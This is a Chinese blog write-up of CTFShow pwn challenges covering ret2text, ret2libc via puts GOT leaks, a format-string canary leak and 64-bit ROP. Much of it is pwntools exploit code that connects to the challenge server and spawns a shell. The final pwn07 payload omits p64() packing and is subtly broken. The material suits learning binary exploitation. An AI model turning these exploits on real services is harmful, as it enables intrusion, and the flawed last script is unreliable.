Pwn_CTFShow_01

本文解析了CTF中常见的Pwn挑战,包括签到题、ret2text、栈溢出、Canary绕过等技巧,并详细介绍了如何利用各种漏洞获取shell的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.PWN签到题

直接 nc

出flag,白给

2.pwn02

ret2text

file 一下
在这里插入图片描述
32bit

IDA分析
在这里插入图片描述
发现 bin/sh 地址

可以用 cyclic生成字符串,然后gdb run一下,再计算出偏移
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
cyclic -l 0x......
在这里插入图片描述
exp:

from pwn import *

p=remote('111.231.70.44',28042)

payload='a'*13 + p32(0x8048518)

p.sendline(payload)

p.interactive()

3.pwn03

参考博客

checksec一下

32bit 程序
IDA分析
先看main函数
在这里插入图片描述
没有什么线索,再进pwnme函数

在这里插入图片描述
在这里插入图片描述
发现存在一个栈溢出
由于找不到system函数的地址,所以

涉及到plt表和got表
程序执行后,plt表里是got表的地址,got表是函数的真实地址
程序还未执行时,got表里还是plt表的地址
我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样
但也只是针对于地址中间位进行随机,最低的12位并不会发生改变
也就是我们需要获取到远程环境的函数的真实地址
进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
所以我们首先exp的构造
首先栈溢出,利用puts函数的plt表的地址,泄漏puts函数的got表中的函数的真实地址,然后返回地址填写main函数重新跳转回来

exp:

from pwn import *
#context.log_level = 'debug'

p = remote('111.231.70.44',28063)
#p = process('./stack1')

elf = ELF('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = "A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendline(payload)

p.recvuntil('\n\n')

get_addr = u32(p.recv(4))

print(hex(get_addr))

输出了puts函数的真实地址
ps:这里要remote过去,否则输出的地址会不一样

在这里插入图片描述

可以通过后三位判断libc的版本
libcSearch

在这里插入图片描述
知道这些信息之后
exp:

from pwn import *
#context.log_level = 'debug'

p = remote('111.231.70.44',28063)
#p = process('./stack1')

elf = ELF('./stack1')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = "A"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendline(payload)

p.recvuntil('\n\n')

get_addr = u32(p.recv(4))

print(hex(get_addr))

libcbase = get_addr - 0x067360
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat(['A'*13,system_addr,'AAAA',bin_sh])

p.sendline(payload)

p.interactive()

4.pwn04

先checksec
在这里插入图片描述
栈不可执行
Canary打开

canary:
用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出。

main函数:
在这里插入图片描述
没有线索,跟进vuln函数

在这里插入图片描述
看到v3就是canary了
也就是下面的 [ebp-0ch]
在这里插入图片描述
在vuln函数中canary赋值给了eax
我们可以通过在这个赋值之后下一个断点,来获取canary的值
在此之前我们需要知道printf函数的地址,用来找到canary的偏移
所以要先在printf函数下面下一个断点
b printf

在这里插入图片描述
run

在这里插入图片描述
可以看到
printf函数的地址是 0xffffd0b0

然后在canary赋值之后下一个断点
ps:在vuln函数和main函数中都有canary的赋值

在这里插入图片描述
在这里插入图片描述

这里需要用main函数里面的(我也不知道为什么。。。
b *0x080486C9

在这里插入图片描述

这样就找到了canary的值
之后看printf的地址,找到canary的值,然后算出偏移
x/40wx 0xffffd0b0
在这里插入图片描述
发现0x0x1276e500的偏移为31,所以构造canary的值为%31$x
canary的值要靠我们的输入buf来赋值,所以要计算一下buf和v3的偏移 = (0x70-0xC) =100
在这里插入图片描述
最后还有 (0x8+4) = 12 个字节需要覆盖,覆盖返回地址到system函数才能取得shell

exp:

from pwn import *

p =remote("111.231.70.44",28017)

p.recv()
leak_canary = "%31$x"
p.sendline(leak_canary)
canary = int(p.recv(),16)

print(hex(canary))

getshell = "a" * 100 + p32(canary) + "b" * 12 + p32(0x0804859B)

p.sendline(getshell)

p.interactive()

5.pwn05

IDA分析一下

在这里插入图片描述
gets函数 明显的溢出
双击s
在这里插入图片描述
偏移为 (0x14+4)
再 Shift+F12
在这里插入图片描述
找到 /bin/sh

在这里插入图片描述
exp:

from pwn import *

p=remote('111.231.70.44',28024)

payload='a'*(0x14+4) + p32(0x08048486)

p.sendline(payload)

p.interactive()

6.pwn06

64位的pwn05
所以和上一题是差不多的
不同的是这里要平衡堆栈
在这里插入图片描述
push rbp :将bp寄存器的值压入栈中
然后再看偏移
在这里插入图片描述
这里32位是4,而64位则是8

exp:

from pwn import *

p=remote('111.231.70.44',28070)

payload='a'*(0xc+8) + p64(0x400577)+ p64(0x400577)

p.sendline(payload)

p.interactive()

7.pwn07

先checksec一下
在这里插入图片描述
这题和pwn03差的不多
pwn03是32bit的,这题是64bit的
64比32需要的payload多了一个pop rdi,ret

32位:
payload:"a"*offset + p32(plt) + p32(ret_addr) + p32(got)
getshell: "a"*offset + p32(system_addr) + "AAAA" + p32(str_bin_sh)
64位:
payload:"a"*offset + p64(pop_rdi) + p64(got) + p64(plt) + p64(ret_addr)
getshell: "a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

ROPgadget --binary [file name]
在这里插入图片描述
在这里插入图片描述

exp:

from pwn import *

context.log_level = 'debug'

context.arch = 'amd64'

#p = process('./pwn')

p = remote('111.231.70.44',28049)

elf = ELF('./pwn')  #产生一个对象

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

pop_rdi = 0x4006e3 # ROPgadget --binary [file name]

main = elf.symbols['main']  #elf.symbols['a_function']  找到 a_function 的地址

payload = 'a'*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#64位payload: "a"*offset + p64(pop_rdi) + p64(got) + p64(plt) + p64(ret_addr/main)

p.sendline(payload)

p.recvuntil('\x0a') #p.recvuntil(some_string) 接收到 some_string 为止

puts_addr = u64(p.recv(6).ljust(8,b'\x00')) #p.recvn(N)   接受 N(数字) 字符

print(hex(puts_addr))

ret_addr = 0x4006E4

libcbase = puts_addr -  0x0809c0    # -libc_Offset的puts

system_addr = libcbase + 0x04f440   # +libc_Offset的system

bin_sh = libcbase + 0x1b3e9a        # +libc_Offset的bin/sh

payload = 'a'*20 + ret_addr + pop_rdi + bin_sh + system_addr
#getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

p.sendline(payload)

p.interactive()


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值